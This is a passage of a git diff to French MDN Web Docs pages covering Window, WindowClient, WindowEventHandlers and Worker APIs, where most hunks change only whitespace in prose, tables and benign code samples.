d'entrée. Cela n'est plus supporté et n'est pas susceptible d'être standardisé. +\[1] Avant Gecko 11.0 {{geckoRelease("11.0")}}, `mozRequestAnimationFrame()` pouvait être appelée sans paramètres d'entrée. Cela n'est plus supporté et n'est pas susceptible d'être standardisé. \[2] Le callback prend comme paramètre un {{domxref("DOMTimeStamp")}} au lieu d'un {{domxref("DOMHighResTimeStamp")}} si c'est la version préfixée qui est utilisée. `DOMTimeStamp` n'a qu'une précision de l'ordre de la milliseconde, mais `DOMHightResTimeStamp` a une précision minimale de l'ordre de 10 microsecondes. diff --git a/files/fr/web/api/window/requestidlecallback/index.md b/files/fr/web/api/window/requestidlecallback/index.md index f70c6f1c13..3db65ac569 100644 --- a/files/fr/web/api/window/requestidlecallback/index.md +++ b/files/fr/web/api/window/requestidlecallback/index.md @@ -13,18 +13,18 @@ La méthode **`window.requestIdleCallback()`** mémorise une fonction qui sera a ### Retour de l'appel -Un entier long non-signé qui peut être utilisé pour annulé l'appel à la fonction via la méthode {{domxref("window.cancelIdleCallback()")}}. +Un entier long non-signé qui peut être utilisé pour annulé l'appel à la fonction via la méthode {{domxref("window.cancelIdleCallback()")}}. ### Paramètres - fonction - - : La référence d'une fonction qui devrait être appellée dans un futur proche. La fonction en question recevra en argument un objet de type temps restant avec les propriétés suivantes : + - : La référence d'une fonction qui devrait être appellée dans un futur proche. La fonction en question recevra en argument un objet de type temps restant avec les propriétés suivantes : - `timeRemaining` : fonction qui retourne un [`DOMHighResTimeStamp`](/fr/docs/Web/API/DOMHighResTimeStamp) représentant le temps restant estimé par le navigateur pour exécuter la tâche, ayant pour valeur minimale zéro. Les tâches nécessitant un temps d'exécution relativement long sont susceptibles de recourir à plusieurs appels à cette méthode s'il reste du travail à effectuer, rendant la main au navigateur peu avant que le compteur n'atteigne zéro. `timeRemaining()` retournera toujours zéro si `didTimeout` est positionné à `true` (par exemple, la fonction n'a pas été appelée durant la période de repos du navigateur). La limite de temps est limitée à 50ms, même si le navigateur reste n'a pas d'autre tâche à exécuter pendant une durée plus longue. - `didTimeout` : un booléen positionné à `true` si la fonction est appelée car le timeout a été atteint, et `false` si elle a été appelée par le navigateur durant une période de repos. -- `options` {{optional_inline}} +- `options` {{optional_inline}} - : Objet contenant des paramètres de configuration optionnels. Les propriétés sont les suivantes : - `timeout` : si `timeout` est spécifié et possède une valeur positive, la fonction sera appelée au bout de au moins `timeout` millisecondes si elle n'a pas été appelée par le navigateur au préalable. diff --git a/files/fr/web/api/window/screen/index.md b/files/fr/web/api/window/screen/index.md index 79bbd5f09f..9582b7799d 100644 --- a/files/fr/web/api/window/screen/index.md +++ b/files/fr/web/api/window/screen/index.md @@ -11,7 +11,7 @@ tags: - Écran translation_of: Web/API/Window/screen --- -{{APIRef("CSSOM View")}}Retourne une référence à l'objet `screen` associé à la fenêtre. L'object `screen`, qui implémente l'interface {{domxref("Screen")}}, est un objet spécial servant à examiner les propriétés de l'écran qui affiche la fenêtre courante. +{{APIRef("CSSOM View")}}Retourne une référence à l'objet `screen` associé à la fenêtre. L'object `screen`, qui implémente l'interface {{domxref("Screen")}}, est un objet spécial servant à examiner les propriétés de l'écran qui affiche la fenêtre courante. ## Syntaxe @@ -31,7 +31,7 @@ if (screen.pixelDepth < 8) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('CSSOM View', '#dom-window-screen', 'window.screen')}} | {{Spec2('CSSOM View')}} | | +| {{SpecName('CSSOM View', '#dom-window-screen', 'window.screen')}} | {{Spec2('CSSOM View')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/window/screenx/index.md b/files/fr/web/api/window/screenx/index.md index a6c4a13e38..aeea7a1763 100644 --- a/files/fr/web/api/window/screenx/index.md +++ b/files/fr/web/api/window/screenx/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/Window/screenX --- {{APIRef}} -La propriété **`Window.screenX`** retourne la distance honrizontale, in CSS pixels, of the left border of the user's browser from the left side of the screen. +La propriété **`Window.screenX`** retourne la distance honrizontale, in CSS pixels, of the left border of the user's browser from the left side of the screen. ## Syntax diff --git a/files/fr/web/api/window/scrollby/index.md b/files/fr/web/api/window/scrollby/index.md index 8b76b7d25c..a0321124f7 100644 --- a/files/fr/web/api/window/scrollby/index.md +++ b/files/fr/web/api/window/scrollby/index.md @@ -18,10 +18,10 @@ Fait défiler le document dans la fenêtre du nombre de pixels passé en paramè ### Paramètres -- `X` est le nombre en pixels pour le défilement horizontal. -- `Y` est le nombre en pixels pour le défilement vertical. +- `X` est le nombre en pixels pour le défilement horizontal. +- `Y` est le nombre en pixels pour le défilement vertical. -Des coordonnées positives feront défiler à droite et vers le bas de la page. Des coordonnées négatives feront défiler à gauche et vers le haut de la page. +Des coordonnées positives feront défiler à droite et vers le bas de la page. Des coordonnées négatives feront défiler à gauche et vers le haut de la page. ## Exemples @@ -30,7 +30,7 @@ Des coordonnées positives feront défiler à droite et vers le bas de la page. ## Notes -[window.scrollBy](/fr/docs/DOM/Window.scrollBy) fait défiler en fonction d'un nombre précis, alors que [window.scroll](/fr/docs/DOM/Window.scroll) fait défiler vers une position absolue dans le document. Voir aussi [window.scrollByLines](/fr/docs/DOM/Window.scrollByLines), [window.scrollByPages](/fr/docs/DOM/Window.scrollByPages) +[window.scrollBy](/fr/docs/DOM/Window.scrollBy) fait défiler en fonction d'un nombre précis, alors que [window.scroll](/fr/docs/DOM/Window.scroll) fait défiler vers une position absolue dans le document. Voir aussi [window.scrollByLines](/fr/docs/DOM/Window.scrollByLines), [window.scrollByPages](/fr/docs/DOM/Window.scrollByPages) ## Spécification diff --git a/files/fr/web/api/window/scrollbypages/index.md b/files/fr/web/api/window/scrollbypages/index.md index 947dccb77e..298b258494 100644 --- a/files/fr/web/api/window/scrollbypages/index.md +++ b/files/fr/web/api/window/scrollbypages/index.md @@ -31,7 +31,7 @@ Fait défiler le document du nombre de pages spécifié. ### Notes -Voir aussi [window.scrollBy](/fr/docs/Web/API/Window/scrollByPages), [window.scrollByLines](/fr/docs/Web/API/Window/scrollByPages), [window.scroll](/fr/docs/Web/API/Window/scroll), [window.scrollTo](fr/docs/Web/API/Window/scrollTo). +Voir aussi [window.scrollBy](/fr/docs/Web/API/Window/scrollByPages), [window.scrollByLines](/fr/docs/Web/API/Window/scrollByPages), [window.scroll](/fr/docs/Web/API/Window/scroll), [window.scrollTo](fr/docs/Web/API/Window/scrollTo). ### Spécification diff --git a/files/fr/web/api/window/scrolly/index.md b/files/fr/web/api/window/scrolly/index.md index 7bb0be2506..68f79a5e4f 100644 --- a/files/fr/web/api/window/scrolly/index.md +++ b/files/fr/web/api/window/scrolly/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Window/scrollY --- {{APIRef}} -La propriété **`scrollY`** de l'objet {{domxref("Window")}} est une propriété en lecture seule. Elle retourne le nombre de pixels la page actuellement défilés verticalement. Dans les navigateurs modernes, cette valeur est précise au sous-pixel près. Ainsi, la valeur retournée n'est pas forcement un entier. +La propriété **`scrollY`** de l'objet {{domxref("Window")}} est une propriété en lecture seule. Elle retourne le nombre de pixels la page actuellement défilés verticalement. Dans les navigateurs modernes, cette valeur est précise au sous-pixel près. Ainsi, la valeur retournée n'est pas forcement un entier. ## Syntaxe diff --git a/files/fr/web/api/window/showmodaldialog/index.md b/files/fr/web/api/window/showmodaldialog/index.md index add3c42855..b3e5223171 100644 --- a/files/fr/web/api/window/showmodaldialog/index.md +++ b/files/fr/web/api/window/showmodaldialog/index.md @@ -25,18 +25,18 @@ où - `retour` est un variant, indiquant la propriété returnValue telle que définie par la fenêtre du document spécifié par `uri`. - `uri` est l'URI du document à afficher dans la boîte de dialogue. -- `arguments` est un variant optionnel contenant les valeurs à passer à la boîte de dialogue ; celles-ci sont disponibles dans la propriété [`window.dialogArguments`](fr/DOM/window.dialogArguments) de son objet [`window`](fr/DOM/window). -- `options` est une chaîne optionnelle spécifiant les décorations de la fenêtre de dialogue, avec une ou plusieurs valeurs séparées par des points-virgules : +- `arguments` est un variant optionnel contenant les valeurs à passer à la boîte de dialogue ; celles-ci sont disponibles dans la propriété [`window.dialogArguments`](fr/DOM/window.dialogArguments) de son objet [`window`](fr/DOM/window). +- `options` est une chaîne optionnelle spécifiant les décorations de la fenêtre de dialogue, avec une ou plusieurs valeurs séparées par des points-virgules : | Syntaxe | Description | | ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `center: {on \| off \| yes \| no \| 1 \| 0 }` | Si cette valeur est `on`, `yes` ou 1, la fenêtre de dialogue est centrée sur le bureau ; autrement elle est cachée. La valeur par défaut est `yes`. | -| `dialogheight:height` | Spécifie la hauteur de la boîte de dialogue ; par défaut, la taille est spécifiée en pixels. | +| `center: {on \| off \| yes \| no \| 1 \| 0 }` | Si cette valeur est `on`, `yes` ou 1, la fenêtre de dialogue est centrée sur le bureau ; autrement elle est cachée. La valeur par défaut est `yes`. | +| `dialogheight:height` | Spécifie la hauteur de la boîte de dialogue ; par défaut, la taille est spécifiée en pixels. | | `dialogleft:left` | Spécifie la position horizontale de la boîte de dialogue par rapport au coin supérieur gauche du bureau. | -| `dialogwidth:width` | Spécifie la largeur de la boîte de dialogue ; par défaut, la taille est spécifiée en pixels. | +| `dialogwidth:width` | Spécifie la largeur de la boîte de dialogue ; par défaut, la taille est spécifiée en pixels. | | `dialogtop:top` | Spécifie la position verticale de la boîte de dialogue par rapport au coin supérieur gauche du bureau. | -| `resizable: {on \| off \| yes \| no \| 1 \| 0 }` | Si cette valeur est `on`, `yes` ou 1, la fenêtre de dialogue peut être redimensionnée par l'utilisateur ; autrement sa taille est fixe. La valeur par défaut est `no`. | -| `scroll: {on \| off \| yes \| no \| 1 \| 0 }` | Si cette valeur est `on`, `yes` ou 1, la fenêtre de dialogue a des barres de défilement ; autrement elle n'en a pas. La valeur par défaut est `no`. | +| `resizable: {on \| off \| yes \| no \| 1 \| 0 }` | Si cette valeur est `on`, `yes` ou 1, la fenêtre de dialogue peut être redimensionnée par l'utilisateur ; autrement sa taille est fixe. La valeur par défaut est `no`. | +| `scroll: {on \| off \| yes \| no \| 1 \| 0 }` | Si cette valeur est `on`, `yes` ou 1, la fenêtre de dialogue a des barres de défilement ; autrement elle n'en a pas. La valeur par défaut est `no`. | {{ Note("Firefox n\'implémente pas les paramètres <code>dialogHide</code>, <code>edge</code>, <code>status</code> ou <code>unadorned</code>.") }} @@ -52,4 +52,4 @@ Introduit par Microsoft Internet Explorer 4. Support ajouté à Firefox dans Fir ### Spécification -Microsoft MSDN : [showModalDialog](http://msdn2.microsoft.com/en-us/library/ms536759.aspx) +Microsoft MSDN : [showModalDialog](http://msdn2.microsoft.com/en-us/library/ms536759.aspx) diff --git a/files/fr/web/api/window/unload_event/index.md b/files/fr/web/api/window/unload_event/index.md index 18ba0331c9..f768a84b19 100644 --- a/files/fr/web/api/window/unload_event/index.md +++ b/files/fr/web/api/window/unload_event/index.md @@ -7,21 +7,21 @@ tags: translation_of: Web/API/Window/unload_event original_slug: Web/Events/unload --- -L'événement `unload` est appelé lorsque le document ou une ressource enfant est en train d'être déchargé. +L'événement `unload` est appelé lorsque le document ou une ressource enfant est en train d'être déchargé. Il est lancé après : 1. [beforeunload](/en-US/docs/Mozilla_event_reference/beforeunload) (événement annulable) 2. [pagehide](/en-US/docs/Mozilla_event_reference/pagehide) -Le document se trouve alors dans un état particulier : +Le document se trouve alors dans un état particulier : - Toutes les ressources existent encore (img, iframe etc.) - Plus rien n'est encore visible par l'utilisateur final - Les intéractions avec l'interface sont désactivées (`window.open`, `alert`, `confirm`, etc.) - Aucune erreur ne viendra interrompre le flux de déchargement. -Veuiller noter que l'événement `unload` suit l'ordre du document : le cadre parent est déchargé *avant* le `unload` d'un cadre enfant (voir l'exemple ci-dessous). +Veuiller noter que l'événement `unload` suit l'ordre du document : le cadre parent est déchargé *avant* le `unload` d'un cadre enfant (voir l'exemple ci-dessous). <table class="properties"> <tbody> @@ -59,7 +59,7 @@ Veuiller noter que l'événement `unload` suit l'ordre du document : le cadre | `type` {{readonlyInline}} | [`DOMString`](/en-US/docs/Web/API/DOMString) | Le type d'événement. | | `bubbles` {{readonlyInline}} | [`Boolean`](/en-US/docs/Web/API/Boolean) | Si l'événement remonte ou non. | | `cancelable` {{readonlyInline}} | [`Boolean`](/en-US/docs/Web/API/Boolean) | Si l'événement est annulable ou non. | -| `view` {{readonlyInline}} | [`WindowProxy`](/en-US/docs/Web/API/WindowProxy) | [`document.defaultView`](/en-US/docs/Web/API/Document/defaultView) (`fenêtre` du document) | +| `view` {{readonlyInline}} | [`WindowProxy`](/en-US/docs/Web/API/WindowProxy) | [`document.defaultView`](/en-US/docs/Web/API/Document/defaultView) (`fenêtre` du document) | | `detail` {{readonlyInline}} | `long` (`float`) | 0. | ## Exemple @@ -84,29 +84,29 @@ Veuiller noter que l'événement `unload` suit l'ordre du document : le cadre </html> ``` -Ci-dessous, le contenu de `child-frame.html`: +Ci-dessous, le contenu de `child-frame.html`: ```html <!DOCTYPE html> <html> <head> <title>Cadre enfant</title> - <script> - window.addEventListener('beforeunload', function(event) { - console.log('Je suis le 2nd.'); - }); + <script> + window.addEventListener('beforeunload', function(event) { + console.log('Je suis le 2nd.'); + }); window.addEventListener('unload', function(event) { console.log('Je suis le 4ème et dernier…'); }); </script> </head> <body> - ☻ + ☻ </body> </html> ``` -Quand le cadre parent est déchargé, les événements sont lancés dans l'ordre décrit par les messages `console.log`. +Quand le cadre parent est déchargé, les événements sont lancés dans l'ordre décrit par les messages `console.log`. ## Événements liés diff --git a/files/fr/web/api/window/vrdisplayconnect_event/index.md b/files/fr/web/api/window/vrdisplayconnect_event/index.md index 815a35a5d5..8fcfff0066 100644 --- a/files/fr/web/api/window/vrdisplayconnect_event/index.md +++ b/files/fr/web/api/window/vrdisplayconnect_event/index.md @@ -46,8 +46,8 @@ Vous pouvez utiliser l'événement `vrdisplayconnect` dans une méthode [`addEve ```js window.addEventListener('vrdisplayconnect', function() { - info.textContent = 'Affichage connecté.'; - reportDisplays(); + info.textContent = 'Affichage connecté.'; + reportDisplays(); }); ``` diff --git a/files/fr/web/api/window/vrdisplaydisconnect_event/index.md b/files/fr/web/api/window/vrdisplaydisconnect_event/index.md index 3e84875409..6578664ce0 100644 --- a/files/fr/web/api/window/vrdisplaydisconnect_event/index.md +++ b/files/fr/web/api/window/vrdisplaydisconnect_event/index.md @@ -46,8 +46,8 @@ Vous pouvez utiliser l'événement `vrdisplaydisconnect` dans une méthode [`add ```js window.addEventListener('vrdisplaydisconnect', function() { - info.textContent = 'Affichage déconnecté'; - reportDisplays(); + info.textContent = 'Affichage déconnecté'; + reportDisplays(); }); ``` diff --git a/files/fr/web/api/windowclient/focus/index.md b/files/fr/web/api/windowclient/focus/index.md index 4c1a00417c..4d61feab28 100644 --- a/files/fr/web/api/windowclient/focus/index.md +++ b/files/fr/web/api/windowclient/focus/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/WindowClient/focus --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -La méthode **`focus()`** de l'interface {{domxref("WindowClient")}} focus le client en cours et retourne une {{jsxref("Promise")}} qui est résolue vers le {{domxref("WindowClient")}} existant. +La méthode **`focus()`** de l'interface {{domxref("WindowClient")}} focus le client en cours et retourne une {{jsxref("Promise")}} qui est résolue vers le {{domxref("WindowClient")}} existant. ## Syntaxe @@ -28,7 +28,7 @@ Nil. ### Valeur de retour -Une {{jsxref("Promise")}} qui est résolue vers le {{domxref("WindowClient")}} existant. +Une {{jsxref("Promise")}} qui est résolue vers le {{domxref("WindowClient")}} existant. ## Exemple diff --git a/files/fr/web/api/windowclient/focused/index.md b/files/fr/web/api/windowclient/focused/index.md index a6b34590e2..e8797d01d0 100644 --- a/files/fr/web/api/windowclient/focused/index.md +++ b/files/fr/web/api/windowclient/focused/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/WindowClient/focused --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -La propriété **`focused`** , en lecture seule de l'interface {{domxref("WindowClient")}} , est un {{domxref("Boolean")}} qui indique si client actuel a le focus . +La propriété **`focused`** , en lecture seule de l'interface {{domxref("WindowClient")}} , est un {{domxref("Boolean")}} qui indique si client actuel a le focus . ## Syntax diff --git a/files/fr/web/api/windowclient/index.md b/files/fr/web/api/windowclient/index.md index 3fbcd1fde0..b91fb1fb80 100644 --- a/files/fr/web/api/windowclient/index.md +++ b/files/fr/web/api/windowclient/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/WindowClient --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -L'interface `WindowClient` de l'[API ServiceWorker](/en-US/docs/Web/API/ServiceWorker_API) représente la portée d'un client service worker lorsque celui-ci existe en tant que document dans un contexte navigateur, controlé par un worker actif. Le client sélectionne et utilise un service worker pour son propre chargement et celui de ses sous-ressources. +L'interface `WindowClient` de l'[API ServiceWorker](/en-US/docs/Web/API/ServiceWorker_API) représente la portée d'un client service worker lorsque celui-ci existe en tant que document dans un contexte navigateur, controlé par un worker actif. Le client sélectionne et utilise un service worker pour son propre chargement et celui de ses sous-ressources. ## Méthodes @@ -32,7 +32,7 @@ _`WindowClient` hérite certaines propriétés de son parent, {{domxref("Client" - {{domxref("WindowClient.focused")}} {{readonlyInline}} - : Un booléen qui indique si oui ou non le client en cours est focus. - {{domxref("WindowClient.visibilityState")}} {{readonlyInline}} - - : Indique la visibilité du client en cours. Peut prendre les valeures `hidden`, `visible`, `prerender`, ou `unloaded`. + - : Indique la visibilité du client en cours. Peut prendre les valeures `hidden`, `visible`, `prerender`, ou `unloaded`. ## Exemple diff --git a/files/fr/web/api/windowclient/navigate/index.md b/files/fr/web/api/windowclient/navigate/index.md index 85041b1392..c75a684e61 100644 --- a/files/fr/web/api/windowclient/navigate/index.md +++ b/files/fr/web/api/windowclient/navigate/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/WindowClient/navigate --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -La méthode **`navigate()`** de l'interface {{domxref("WindowClient")}} charge une URL spécifiée dans une page de client contrôlée, puis retourne une {{jsxref("Promise")}} qui devra être analysée par {{domxref("WindowClient")}} (le demandeur). +La méthode **`navigate()`** de l'interface {{domxref("WindowClient")}} charge une URL spécifiée dans une page de client contrôlée, puis retourne une {{jsxref("Promise")}} qui devra être analysée par {{domxref("WindowClient")}} (le demandeur). ## Syntaxe @@ -29,7 +29,7 @@ La méthode **`navigate()`** de l'interface {{domxref("WindowClient")}} charge ### Retour -Une {{jsxref("Promise")}} qui sera analysée par le demandeur {{domxref("WindowClient")}} (fonctionnement asynchrone : je te promet de faire, mais je suis pas sûr, à toi de vérifier) . +Une {{jsxref("Promise")}} qui sera analysée par le demandeur {{domxref("WindowClient")}} (fonctionnement asynchrone : je te promet de faire, mais je suis pas sûr, à toi de vérifier) . ## Spécifications diff --git a/files/fr/web/api/windowclient/visibilitystate/index.md b/files/fr/web/api/windowclient/visibilitystate/index.md index 3589b09443..785a1c8ef3 100644 --- a/files/fr/web/api/windowclient/visibilitystate/index.md +++ b/files/fr/web/api/windowclient/visibilitystate/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/WindowClient/visibilityState --- {{SeeCompatTable}}{{APIRef("Service Workers API")}} -La propriété **`visibilityState`**, en lecture seule de l'interface {{domxref("WindowClient")}} indique la visibilité du client courant. La valeur pourra être : `hidden`, `visible`, `prerender`, or `unloaded`. +La propriété **`visibilityState`**, en lecture seule de l'interface {{domxref("WindowClient")}} indique la visibilité du client courant. La valeur pourra être : `hidden`, `visible`, `prerender`, or `unloaded`. ## Syntaxe @@ -15,7 +15,7 @@ myVisState = WindowClient.visibilityState; ### Value -une {{domxref("DOMString")}}. +une {{domxref("DOMString")}}. ## Example diff --git a/files/fr/web/api/windoweventhandlers/index.md b/files/fr/web/api/windoweventhandlers/index.md index 16b52003b1..e813dad962 100644 --- a/files/fr/web/api/windoweventhandlers/index.md +++ b/files/fr/web/api/windoweventhandlers/index.md @@ -20,7 +20,7 @@ _Les propriétés d'événement, de la forme `onXYZ`, sont définis sur {{domxre - {{domxref("WindowEventHandlers.onbeforeunload")}} - : Est un {{event("Event_handlers", "event handler")}} représentant le code à appeler lorsque l'événement {{event("beforeunload")}} est déclenché. - {{domxref("WindowEventHandlers.onhashchange")}} - - : Est un {{event("Event_handlers", "event handler")}} représentant le code à appeler lorsque l'événement {{event("hashchange")}} est déclenché. + - : Est un {{event("Event_handlers", "event handler")}} représentant le code à appeler lorsque l'événement {{event("hashchange")}} est déclenché. - {{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}} - : Est un {{event("Event_handlers", "event handler")}} représentant le code à appeler lorsque l'événement {{event("languagechange")}} est déclenché. - {{domxref("WindowEventHandlers.onmessage")}} diff --git a/files/fr/web/api/windoweventhandlers/onafterprint/index.md b/files/fr/web/api/windoweventhandlers/onafterprint/index.md index 2eff2b9b01..00693361e8 100644 --- a/files/fr/web/api/windoweventhandlers/onafterprint/index.md +++ b/files/fr/web/api/windoweventhandlers/onafterprint/index.md @@ -36,7 +36,7 @@ Safari ne reconnaît pas ces événements. | Specification | Status | Comment | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', '#handler-window-onafterprint', 'onafterprint')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', '#handler-window-onafterprint', 'onafterprint')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/windoweventhandlers/onbeforeprint/index.md b/files/fr/web/api/windoweventhandlers/onbeforeprint/index.md index 1df25a3c86..f62378ae29 100644 --- a/files/fr/web/api/windoweventhandlers/onbeforeprint/index.md +++ b/files/fr/web/api/windoweventhandlers/onbeforeprint/index.md @@ -37,7 +37,7 @@ mediaQueryList.addListener(function(mql) { | Specification | Status | Comment | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', '#handler-window-onbeforeprint', 'onbeforeprint')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', '#handler-window-onbeforeprint', 'onbeforeprint')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/windoweventhandlers/onhashchange/index.md b/files/fr/web/api/windoweventhandlers/onhashchange/index.md index 973f3353f8..36725fabc4 100644 --- a/files/fr/web/api/windoweventhandlers/onhashchange/index.md +++ b/files/fr/web/api/windoweventhandlers/onhashchange/index.md @@ -3,7 +3,7 @@ title: WindowEventHandlers.onhashchange slug: Web/API/WindowEventHandlers/onhashchange translation_of: Web/API/WindowEventHandlers/onhashchange --- -{{APIRef("HTML DOM")}}L'événement **hashchange** est déclenché lorsque le hash de l'url change (cf. {{domxref("Window.location", "location.hash")}}). +{{APIRef("HTML DOM")}}L'événement **hashchange** est déclenché lorsque le hash de l'url change (cf. {{domxref("Window.location", "location.hash")}}). ## Syntaxe @@ -38,9 +38,9 @@ function locationHashChanged() { window.onhashchange = locationHashChanged; ``` -## L'événement hashchange +## L'événement hashchange -Lorsque l'observateur d'événement déclenche l'événement hashchange il passe en paramêtres les arguments suivante: +Lorsque l'observateur d'événement déclenche l'événement hashchange il passe en paramêtres les arguments suivante: <table class="standard-table"> <tbody> @@ -62,7 +62,7 @@ Lorsque l'observateur d'événement déclenche l'événement hashchange il pass </tbody> </table> -### Une solution autour de event.newURL et event.oldURL +### Une solution autour de event.newURL et event.oldURL ```js //insérez ce bout de code au début de votre code pour observer les changements de hash dans l'URL @@ -76,15 +76,15 @@ if(!window.HashChangeEvent)(function(){ }()); ``` -### +### -## Spécifications +## Spécifications | Spécifications | Statut | Commentaires | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | ------------ | -| {{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}} | {{Spec2('HTML WHATWG')}} | | -| {{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}} | {{Spec2('HTML5.1')}} | | -| {{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}} | {{Spec2('HTML5 W3C')}} | | +| {{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}} | {{Spec2('HTML5.1')}} | | +| {{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}} | {{Spec2('HTML5 W3C')}} | | ## Compatibilité des navigateurs @@ -93,5 +93,5 @@ if(!window.HashChangeEvent)(function(){ ## Voir aussi - [Manipuler l'historique du navigateur](/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur) -- Méthodes [history.pushState() et history.replaceState()](/fr/docs/Web/API/Window/history) -- L'événement [popstate](/fr/docs/Web/API/WindowEventHandlers/onpopstate) +- Méthodes [history.pushState() et history.replaceState()](/fr/docs/Web/API/Window/history) +- L'événement [popstate](/fr/docs/Web/API/WindowEventHandlers/onpopstate) diff --git a/files/fr/web/api/windoweventhandlers/onpopstate/index.md b/files/fr/web/api/windoweventhandlers/onpopstate/index.md index e9d7b97a63..4487baffd2 100644 --- a/files/fr/web/api/windoweventhandlers/onpopstate/index.md +++ b/files/fr/web/api/windoweventhandlers/onpopstate/index.md @@ -11,19 +11,19 @@ translation_of: Web/API/WindowEventHandlers/onpopstate Un gestionnaire d'évènement pour l'évènement `popstate` de la fenêtre. -L'évènement `popstate` est envoyé à la fenêtre à chaque fois que l'entrée actuelle de l'historique change avec 2 autres entrées du même document. Si l'entrée actuelle a été créée en appelant `history.pushState()` ou a été modifiée en appelant `history.replaceState()`, la propriété state de l'évènement `popstate` contient une copie de l'objet d'entrée de l'historique. +L'évènement `popstate` est envoyé à la fenêtre à chaque fois que l'entrée actuelle de l'historique change avec 2 autres entrées du même document. Si l'entrée actuelle a été créée en appelant `history.pushState()` ou a été modifiée en appelant `history.replaceState()`, la propriété state de l'évènement `popstate` contient une copie de l'objet d'entrée de l'historique. -Sachez qu'appeler `history.pushState()` ou `history.replaceState()` ne déclenchera pas l'évènement `popstate`. Cet évènement n'est déclenché que par une action utilisateur telle que cliquer sur le bouton Retour (ou appeler `history.back()`, en JavaScript). L'évènement n'est déclenché que pour la navigation entre deux entrées du même document. +Sachez qu'appeler `history.pushState()` ou `history.replaceState()` ne déclenchera pas l'évènement `popstate`. Cet évènement n'est déclenché que par une action utilisateur telle que cliquer sur le bouton Retour (ou appeler `history.back()`, en JavaScript). L'évènement n'est déclenché que pour la navigation entre deux entrées du même document. ### Syntaxe window.onpopstate = funcRef; -- `funcRef` est une référence à une fonction. +- `funcRef` est une référence à une fonction. ### L'évènement popstate -Par exemple, une page à l'adresse <http://example.com/example.html> exécutant le code suivant générera les alertes suivantes: +Par exemple, une page à l'adresse <http://example.com/example.html> exécutant le code suivant générera les alertes suivantes: ```js window.onpopstate = function(event) { @@ -37,7 +37,7 @@ history.back(); // affiche "adresse: http://example.com/example.html, état: nul history.go(2); // affiche "adresse: http://example.com/example.html?page=3, état: {"page":3} ``` -Même si l'entrée originelle (de <http://example.com/example.html>) n'a aucun objet d'état associé, l'évènement `popstate` est toujours déclenché lorsque l'entrée est activée après un deuxième appel à `history.back()`. +Même si l'entrée originelle (de <http://example.com/example.html>) n'a aucun objet d'état associé, l'évènement `popstate` est toujours déclenché lorsque l'entrée est activée après un deuxième appel à `history.back()`. ### Spécification diff --git a/files/fr/web/api/worker/onmessage/index.md b/files/fr/web/api/worker/onmessage/index.md index 5e3e925e37..98c6720c15 100644 --- a/files/fr/web/api/worker/onmessage/index.md +++ b/files/fr/web/api/worker/onmessage/index.md @@ -32,8 +32,8 @@ first.onchange = function() { } myWorker.onmessage = function(e) { - result.textContent = e.data; - console.log('Message reçu du worker'); + result.textContent = e.data; + console.log('Message reçu du worker'); } ``` diff --git a/files/fr/web/api/worker/postmessage/index.md b/files/fr/web/api/worker/postmessage/index.md index 19af80e667..7547415b2c 100644 --- a/files/fr/web/api/worker/postmessage/index.md +++ b/files/fr/web/api/worker/postmessage/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Worker/postMessage --- {{ apiref("Worker") }} -La méthode **`Worker.postMessage()`** envoie un message à la portée locale du worker. Cette fonction accepte un seul paramètre, qui est la donnée à envoyer au worker. Cette donnée peut-être de n'importe quelle valeur ou un objet JavaScript pris en charge par l'algorithme de clone structuré, qui inclut les références cycliques. +La méthode **`Worker.postMessage()`** envoie un message à la portée locale du worker. Cette fonction accepte un seul paramètre, qui est la donnée à envoyer au worker. Cette donnée peut-être de n'importe quelle valeur ou un objet JavaScript pris en charge par l'algorithme de clone structuré, qui inclut les références cycliques. Le Worker peut renvoyer une information au thread qui l'a créé en utilisant la méthode {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. @@ -45,7 +45,7 @@ second.onchange = function() { } ``` -Pour l'exemple en entier, voir [Basic dedicated worder example](https://github.com/mdn/simple-web-worker) ([démonstration](http://mdn.github.io/simple-web-worker/)). +Pour l'exemple en entier, voir [Basic dedicated worder example](https://github.com/mdn/simple-web-worker) ([démonstration](http://mdn.github.io/simple-web-worker/)). > **Note :** `postMessage()` peut n'envoyer qu'un objet à la fois. Comme ci-dessus, si vous voulez envoyez plusieurs valeurs, vous pouvez utiliser un tableau. diff --git a/files/fr/web/api/workerglobalscope/console/index.md b/files/fr/web/api/workerglobalscope/console/index.md index 7639bfe044..647aebc499 100644 --- a/files/fr/web/api/workerglobalscope/console/index.md +++ b/files/fr/web/api/workerglobalscope/console/index.md @@ -12,7 +12,7 @@ translation_of: 